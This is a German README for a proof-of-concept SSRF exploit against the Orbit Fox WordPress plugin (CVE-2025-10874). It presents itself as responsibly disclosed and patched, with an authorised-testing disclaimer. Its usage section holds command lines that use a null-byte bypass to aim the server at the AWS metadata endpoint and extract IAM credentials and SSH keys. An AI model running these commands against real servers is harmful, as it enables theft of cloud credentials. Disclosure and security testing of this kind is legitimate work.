
Demonstriert SSRF mit Null-Byte-Injection-Bypass für CVE-2025-10874

Proof of Concept-Exploit, der die Server-Side Request Forgery (SSRF)-Schwachstelle im Orbit Fox WordPress-Plugin mit Null-Byte-Injection-Bypass demonstriert.
Ausführlicher Blogbeitrag: https://ryanmroth.com/articles/orbit-fox-ssrf
| Detail | Hinweise |
|---|
| CVE-ID: | CVE-2025-10874 |
| Betroffenes Plugin: | Orbit Fox von ThemeIsle |
| Schwachstellentyp: | Server-Side Request Forgery (SSRF) (CWE-918) |
| CVSS-Score: | 5.5 (mittel) |
| Erforderliche Rechte: | Autor+ (WordPress-Autorenrolle oder höher |
| Behobene Version | 3.0.2+ |
Die MyStock-Importfunktion des Orbit Fox-Plugins enthält eine SSRF-Schwachstelle, die es authentifizierten Benutzern mit Autor+-Rechten ermöglicht, beliebige HTTP-Anfragen vom WordPress-Server aus zu senden. Die Schwachstelle besteht in der AJAX-Aktion handle-request-mystock-import, die URL-Parameter nicht ordnungsgemäß validiert und bereinigt.
Der Exploit nutzt eine Null-Byte-Injection-Bypass (%00.txt), um die URL-Validierung zu umgehen und Zugriff auf interne Metadaten-Dienste, Cloud-Provider-APIs und andere vom Server erreichbare Netzwerkressourcen zu ermöglichen.
http://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyrequests-Bibliothekurllib3-Bibliothek# Repository klonen
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874
# Abhängigkeiten installieren (mit uv)
uv sync
# Oder mit pip
pip install requests urllib3
# AWS-Instanz-Hostname extrahieren (Standardziel)
python orbit_fox_poc.py http://target.com -u author -p password123
# Benutzerdefinierte SSRF-Ziel-URL angeben
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/hostname
# IAM-Rollen-Anmeldeinformationen extrahieren
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# SSH-öffentlichen Schlüssel extrahieren
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
# Ohne Null-Byte-Bypass testen (schlägt bei gepatchten Versionen fehl)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte
# Debug-Ausgabe zur Fehlerbehebung aktivieren
python orbit_fox_poc.py http://target.com -u author -p password123 --debug
positional arguments:
target Ziel-WordPress-URL (z. B. http://example.com)
required arguments:
-u, --username WordPress-Benutzername (Autor+-Rolle erforderlich)
-p, --password WordPress-Passwort
optional arguments:
-h, --help Hilfemeldung anzeigen und beenden
-s, --ssrf-url URL, die per SSRF angefordert werden soll
(Standard: http://169.254.169.254/latest/meta-data/hostname)
--no-nullbyte Null-Byte-Bypass deaktivieren (nur grundlegende SSRF testen)
--debug Debug-Ausgabe zur Fehlerbehebung aktivieren
%00.txt an die Ziel-URL an, um die Validierung zu umgehenhandle-request-mystock-importadmin-ajax.php mit der Aktion handle-request-mystock-importDiese Schwachstelle wurde dem Hersteller verantwortungsvoll gemeldet und in Orbit Fox Version 3.0.2 behoben. Dieses Proof of Concept wird bereitgestellt für:
NUR FÜR AUTORISIERTE SICHERHEITSTESTS
Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Unautorisierter Zugriff auf Computersysteme ist illegal. Benutzer müssen:
Der Autor übernimmt keine Haftung für Missbrauch dieses Tools.
Zuletzt aktualisiert: 2025-10-06